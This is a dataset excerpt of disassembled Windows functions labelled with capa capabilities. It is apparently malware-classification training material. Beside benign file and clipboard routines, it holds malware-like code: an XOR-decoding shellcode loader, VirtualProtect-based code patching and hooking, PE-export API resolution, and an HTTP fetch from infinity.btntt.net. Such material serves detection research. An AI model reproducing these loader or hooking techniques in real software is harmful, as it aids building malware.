joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100acc8e
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x1014e497
call fcn.10143988
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x1018de8c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100a8720
xor ebx, ebx
mov dword [esi], vtable.WinInterAppStream.0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.100989f5
lea eax, [esi + 0x40]
mov byte [ebp - 4], 1
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
pop ecx
pop ecx
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
push 0xc
lea edi, [esi + 0x58]
push ebx
push edi
call sub.VCRUNTIME140.dll_memset
push edi
mov ecx, ebx
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
add esp, 0x18
test al, al
je 0x100acd01
cmp dword [esi + 0x5c], ebx
cmovne ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x54], eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
mov eax, esi
call fcn.10143951
ret 8

Function at 0x100ace90
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x1014c15d
call fcn.10143988
mov esi, ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.1008c7b9
and dword [ebp - 4], 0
lea eax, [esi + 0x30]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100988a3
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
push dword [eax + 8]
push dword [eax + 4]
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
push 0
xor ecx, ecx
lea eax, [esi + 0x58]
cmp dword [esi + 0x5c], ecx
push 0x80
push 3
cmovne ecx, eax
push ecx
push ebx
push 0x40000000
push dword [ebp - 0x28]
call dword [sym.imp.kernel32.dll_CreateFileA]
and dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x100acf2b
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
push 0
push ecx
push dword [edi + 8]
push dword [edi + 4]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100acf2b
mov eax, dword [ebp - 0x10]
cmp eax, dword [edi + 8]
je 0x100acf2d
xor bl, bl
lea ecx, [ebp - 0x2c]
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
lea ecx, [ebp - 0x1c]
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
mov al, bl
call fcn.10143951
ret 8
Function at 0x100e4460
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100e446f
pop dword [ebp - 0x24]
mov eax, 0x100e446f
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf8de9ff7
add dword [ebp - 0x34], 0x5573a554
mov dword [ebp - 0x30], 0xf2de0f99
add dword [ebp - 0x30], 0x3f553cac
mov dword [ebp - 0x2c], 0x60b465de
sub dword [ebp - 0x2c], 0x146821b0
mov dword [ebp - 0x28], 0x7c85db5d
sub dword [ebp - 0x28], 0x7c85db5d
lea eax, [ebp - 0x34]
push eax
mov eax, 0x1807bf6b
sub eax, 0x7f2acb3
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x2580bd43
sub dword [ebp - 0x34], 0xb10e53ed
mov dword [ebp - 0x30], 0x34dda5ea
add dword [ebp - 0x30], 0xc8ebb8b
mov dword [ebp - 0x2c], 0xd5c441aa
add dword [ebp - 0x2c], 0x8dab2ac2
mov dword [ebp - 0x28], 0x21317b2b
sub dword [ebp - 0x28], 0x21317b2b
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x15606863
add eax, 0xfab4aa39
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x74efd
push 0
call eax
mov ecx, 0x2bd22ed8
sub ecx, 0x2bd1deba
xor ebx, ebx
add ebx, eax
mov edi, 0x1a4479a0
sub edi, 0x9c5f7a0
add edi, dword [ebp - 0x24]
mov edx, 0x43a3dc65
sub edx, 0x82c48ab
sub dword [ebp - 0x14], 0x4f421e8a
mov esi, dword [edi]
add dword [ebp - 0xc], edi
xor esi, edx
sub dword [ebp - 0x10], ebx
mov dword [ebx], esi
xor dword [ebp - 4], ebx
add ebx, 4
add edi, 0x7151a29f
add edi, 0x8eae5d65
loop 0x100e458e
add eax, 0xa62c361
sub eax, 0xa619016
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x101236a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1012373b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x101236f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x101236f2
cmp esi, ebx
jge 0x101236f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10123735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10123735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x10151aac]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x10151aac]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1012374d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10123970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
mov eax, dword [ebp + 8]
je 0x10123998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x101239b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10143940
leave
ret 4

Function at 0x10123b80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10123bb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10123c15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
lea eax, [ebp - 0x20c]
push eax
push edi
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10143940
leave
ret 0x10
Function at 0x10123c30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10123c5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10123c8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10123c8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10123c8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10143940
leave
ret 8
Function at 0x10132ac0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
xor ebx, ebx
inc edx
mov edi, dword [esi]
cmp dword [edi + 0x254], ebx
je 0x10132b20
cmp dword [edi + 0x264], ebx
je 0x10132b19
cmp byte [0x107d058c], 0
push edi
push dword [edi + 0x250]
je 0x10132b08
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x10132b0e
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
xor edx, edx
inc edx
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
jmp 0x10132c00
mov eax, dword [edi + 0x25c]
test eax, eax
je 0x10132c8f
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
pop ecx
pop ecx
mov ecx, dword [esi]
cmp dword [ecx + 0x260], ebx
je 0x10132b6e
lea eax, [ebp - 0x234]
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
mov ecx, dword [esi]
add esp, 0xc
test byte [ecx + 0x268], 1
push 0x10
pop eax
lea edx, [eax + 0x70]
cmove eax, edx
mov dword [ecx], eax
cmp byte [0x107d058c], 0
je 0x10132b9a
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x10132bbc
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
xor eax, eax
mov ecx, dword [esi]
cmp dword [ecx + 0x250], 0xffffffff
setne al
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10132bea
mov dword [eax + 0x250], ebx
mov eax, dword [esi]
xor edx, edx
inc edx
mov dword [eax + 0x254], edx
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10132c00
mov dword [esi + 4], edx
mov ecx, eax
cmp dword [eax + 0x264], ebx
je 0x10132c27
cmp byte [0x107d058c], 0
jne 0x10132c27
push dword [eax + 0x258]
add eax, 0x2c
push eax
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
mov ecx, dword [esi]
xor edx, edx
inc edx
mov eax, dword [ecx]
mov dword [ecx + 0x26c], eax
mov edi, dword [esi]
mov ebx, dword [edi + 0x26c]
shr ebx, 4
and ebx, edx
je 0x10132c5c
push esi
xor ebx, ebx
call sym.rt3d.dll_public_virtual:_void___stdcall_e3_NODE::HitTest_struct_e3_HITTEST___struct_MATRIX3D_const__
xor edx, edx
inc edx
cmp word [eax], 0x2e
je 0x10132c58
test byte [edi + 0x268], 3
jne 0x10132c66
mov ebx, edx
jmp 0x10132c66
test byte [edi + 0x268], 1
cmovne ebx, edx
mov eax, dword [edi + 0x264]
test eax, eax
je 0x10132c8a
push 0
test ebx, ebx
pop ebx
jne 0x10132ae0
test byte [edi + 0x26c], 2
jne 0x10132ae0
test eax, eax
setne al
jmp 0x10132c91
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10143940
leave
ret 4
Function at 0x50127edb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x50127eee
xor eax, eax
jmp 0x50127f91
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp 0x50127f2d
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 0x18]
jae 0x50127f8f
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.50127e8b
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x50127f8d
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
invalid
invalid

Function at 0x5012c63c
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
push ebx
push esi
push edi
mov ebx, eax
push 0xe
call sub.user32.dll_GetClipboardData
mov edi, eax
test edi, edi
jne 0x5012c65e
mov eax, dword [sym.vcl120.bpl__Consts__SUnknownClipboardFormat]
call fcn.50128bbc
mov eax, ebx
call sym.vcl120.bpl__Graphics_TMetafile_NewImage_qqrv
mov esi, dword [ebx + 0x28]
push 0
push edi
call sub.gdi32.dll_CopyEnhMetaFileW
mov dword [esi + 8], eax
lea eax, [ebp - 0x64]
push eax
push 0x64
mov eax, dword [esi + 8]
push eax
call sub.gdi32.dll_GetEnhMetaFileHeader
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x4c]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x48]
mov dword [esi + 0x10], eax
mov word [esi + 0x18], 0
mov byte [ebx + 0x2c], 1
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x28]
test eax, eax
setne al
mov byte [ebx + 0x22], al
mov edx, ebx
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x501fc900
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor eax, eax
push ebp
push 0x501fc9a8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
je 0x501fc97b
mov edx, ebx
mov eax, dword [sym.vcl120.bpl__Graphics_TPicture_]
call sym.vcl120.bpl__Graphics_TPicture_SupportsClipboardFormat_qqrus
test al, al
je 0x501fc96b
movzx eax, bx
push eax
call sub.user32.dll_GetClipboardData
mov esi, eax
push 9
call sub.user32.dll_GetClipboardData
mov edi, eax
push edi
mov ecx, esi
mov edx, ebx
mov eax, dword [ebp - 8]
call sym.vcl120.bpl__Graphics_TPicture_LoadFromClipboardFormat_qqrusuip10HPALETTE__
call sub.rtl120.bpl__System__TryFinallyExit_qqrv
jmp 0x501fc9af
movzx eax, bx
push eax
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
jne 0x501fc933
mov ecx, dword [sym.vcl120.bpl__Consts__SInvalidClipFmt]
mov dl, 1
mov eax, dword [sym.vcl120.bpl__Clipbrd_EClipboardException_]
call sub.rtl120.bpl__Sysutils_Exception__bctr_qqrp20System_TResStringRec
call sub.rtl120.bpl__System__RaiseExcept_qqrv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x501fc9af
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x501fc9b8
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor eax, eax
push ebp
push 0x501fca14
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
call sub.user32.dll_GetClipboardData
mov esi, eax
push 9
call sub.user32.dll_GetClipboardData
mov edi, eax
push edi
mov ecx, esi
mov dx, 2
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0x64]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x501fca1b
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret

Function at 0x501fca24
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor edx, edx
push ebp
push 0x501fca79
push dword fs:[edx]
mov dword fs:[edx], esp
push 3
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, ebx
mov dx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x64]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x501fca80
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret
Function at 0x424bfc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004248ad

Function at 0x424c07
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00424a37

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ecx
push edx
enter 0x84, 0
sub ebp, 0x82
mov dword [ebp - 2], 0
call fcn.00401554
mov ebx, eax
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, ebx
or al, 0x40
push eax
mov eax, 0x401e00
sub eax, fcn.004015cb
push eax
push fcn.004015cb
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x40107d
mov eax, ebx
lea edx, [ebp - 2]
jmp loc.00422000
xor eax, eax
lea esp, [ebp + 0x82]
pop ebp
pop edx
pop ecx
pop ebx
ret

Function at 0x401554
Capabilities:
Delete file
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x11c, 0
lea ebx, [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push ebx
call dword [sym.imp.USER32.DLL_GetCursorPos]
push 0
push 0
lea ebx, [ebp - 4]
call dword [sym.imp.USER32.DLL_GetWindow]
push ebx
lea ebx, [ebp - 0x18]
push ebx
push 1
push 1
lea eax, [ebp - 0x11c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x11c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
lea eax, [ebp - 0x18]
movzx ebx, byte [ebp - 0x18]
push eax
sub ebx, 0x41
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, ebx
leave
pop edx
pop ecx
pop ebx
ret

Function at 0x4015cb
Capabilities:
Delete file

Disassembly:
hlt
push edi
mov edi, 0x72647246
jb 0x401617
ror byte [ecx + 0x6ed8c765], 0
inc edi
add al, 0xe8
push edi
jbe 0x4015a9
popal
mov dword [ebx + edx*2 + 0x6c], ebp
mov dword [ecx + 0x45], esp
jae 0x401612
and byte [ebp + eax*2], 0x8d
mov dword [edx - 0x39], edx
invalid
inc ebp
call 0x6e75775d
outsb dx, byte [esi]
inc ebp
inc ebp
add al, 0xa2
invalid
Function at 0x10004230
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
mov eax, dword [ebx + 0x3c]
push ebp
push esi
mov esi, dword [eax + ebx + 0x78]
mov eax, dword [esi + ebx + 0x24]
mov ecx, dword [esi + ebx + 0x18]
add esi, ebx
push edi
mov edi, dword [esi + 0x20]
add eax, ebx
add edi, ebx
xor ebp, ebp
sub ecx, 1
mov dword [esp + 0xc], eax
je 0x10004291
mov edx, dword [edi]
add edx, ebx
push edx
push 0x1010cbf4
call fcn.100918c9
add esp, 8
test eax, eax
je 0x10004285
mov eax, dword [esi + 0x18]
add dword [esp + 0xc], 2
inc ebp
dec eax
add edi, 4
cmp ebp, eax
jb 0x10004257
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
mov ecx, dword [esp + 0xc]
movzx eax, word [ecx]
cmp eax, 0xffffffff
jne 0x10004298
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
cmp eax, dword [esi + 0x14]
ja 0x10004291
mov edx, dword [esi + 0x1c]
lea eax, [edx + eax*4]
mov eax, dword [eax + ebx]
pop edi
pop esi
add eax, ebx
pop ebp
pop ecx
ret
Function at 0x10005380
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ecx
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push str.Patch_ServerLoad
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov edi, eax
push str.infinity.btntt.net
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0x4040300
push 0
push 0
mov ebx, eax
mov eax, dword [esp + 0x24]
push str.HTTP_1.1
push eax
push 0x1010b974
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0xc]
push ecx
push edx
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0xc]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [0x1020a74c], ecx
call esi
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
pop ecx
ret 0xc

Function at 0x10006360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
mov edi, dword [0x10220a34]
lea eax, [esp + 8]
push eax
push 0x40
push 4
push edi
mov dword [0x1012cbb4], 0
call esi
test eax, eax
je 0x100063a0
mov eax, dword [esp + 8]
mov ecx, dword [str.norm]
lea edx, [esp + 8]
push edx
push eax
push 4
push edi
mov dword [edi], ecx
call esi
mov edi, dword [0x10220938]
lea ecx, [esp + 8]
push ecx
push 0x40
push 4
push edi
call esi
test eax, eax
je 0x100063cd
mov ecx, dword [esp + 8]
mov edx, dword [0x1010bbe8]
lea eax, [esp + 8]
push eax
push ecx
push 4
push edi
mov dword [edi], edx
call esi
pop edi
pop esi
pop ecx
ret
Function at 0x10007e20
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
sub eax, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub eax, 5
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push 4
push 1
push esi
mov bl, 0xe8
call edi
test eax, eax
jne 0x10007e58
lea eax, [esp + 0x10]
push eax
push 0x40
push 1
push esi
call edi
test eax, eax
je 0x10007e69
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
push 1
push esi
mov byte [esi], bl
call edi
lea eax, [esp + 0x10]
push eax
push 4
push 4
inc esi
push esi
call edi
test eax, eax
jne 0x10007e8a
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push esi
call edi
test eax, eax
je 0x10007e9b
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
push 4
push esi
mov dword [esi], ebp
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10008080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebp
mov ebp, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 4
push esi
push edi
call ebx
test eax, eax
jne 0x100080ab
lea eax, [esp + 0x10]
push eax
push 0x40
push esi
push edi
call ebx
test eax, eax
je 0x100080c4
push esi
push ebp
push edi
call fcn.10095e10
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push edx
push esi
push edi
call ebx
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x100080d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebp
mov ebp, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 4
push esi
push edi
call ebx
test eax, eax
jne 0x100080fb
lea eax, [esp + 0x10]
push eax
push 0x40
push esi
push edi
call ebx
test eax, eax
je 0x10008114
push esi
push ebp
push edi
call fcn.10095e10
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push edx
push esi
push edi
call ebx
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x100083a0
Capabilities:
Delete file

Disassembly:
push esi
push edi
push 0x1010b7ec
push ebx
call fcn.10093a54
push 2
mov esi, eax
push 0
push esi
call fcn.10094cc8
push esi
call fcn.10094bd0
push 0
push 0
push esi
mov edi, eax
call fcn.10094cc8
push esi
call fcn.10094ea0
add esp, 0x28
cmp edi, 0x1388
pop edi
pop esi
jge 0x100083e5
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret